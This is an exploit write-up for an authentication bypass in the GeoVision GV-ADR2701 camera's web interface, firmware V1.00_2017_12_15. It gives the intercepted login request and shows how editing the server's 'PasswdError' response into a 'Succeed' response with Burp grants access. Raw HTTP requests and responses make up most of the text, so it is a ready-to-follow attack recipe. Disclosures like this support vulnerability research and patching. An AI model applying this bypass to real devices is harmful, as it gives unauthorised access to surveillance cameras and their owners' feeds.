GeoVision Camera GV-ADR2701 – Authentication Bypass
# Exploit Title: GeoVision Camera GV-ADR2701 - Authentication Bypass # Device name: GV-ADR2701 # Date: 26 December , 2020 # Exploit Author: Chan Nyein Wai # Vendor Homepage: https://www.geovision.com.tw/ # Software Link: https://www.geovision.com.tw/download/product/ # Firmware Version: V1.00_2017_12_15 # Tested on: windows 10 # Exploitation 1. Capture The Login Request with burp, Do intercept request to response Request: ``` PUT /LAPI/V1.0/Channel/0/System/Login HTTP/1.1 Host: 10.10.10.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Authorization: Basic dW5kZWZpbmVkOnVuZGVmaW5lZA== Content-Length: 46 Origin: http://10.10.10.10 Connection: close Referer: http://10.10.10.10/index.htm?clientIpAddr=182.168.10.10&IsRemote=0 Cookie: isAutoStartVideo=1 {"UserName":"admin","Password":"0X]&0D]]05"} ``` 2. The following is the normal response when you login to the server. ``` HTTP/1.1 200 Ok Content-Length: 170 Content-Type: text/plain Connection: close X-Frame-Options: SAMEORIGIN { "Response": { "ResponseURL": "/LAPI/V1.0/Channel/0/System/Login", "CreatedID": -1, "StatusCode": 460, "StatusString": "PasswdError", "Data": "null" } } ``` By editing the response to the following, you can successfully log in to the web application. ``` HTTP/1.1 200 Ok Content-Length: 170 Content-Type: text/plain Connection: close X-Frame-Options: SAMEORIGIN { "Response": { "ResponseURL": "/LAPI/V1.0/Channel/0/System/Login", "CreatedID": -1, "StatusCode": 0, "StatusString": "Succeed", "Data": "null" } } ``` |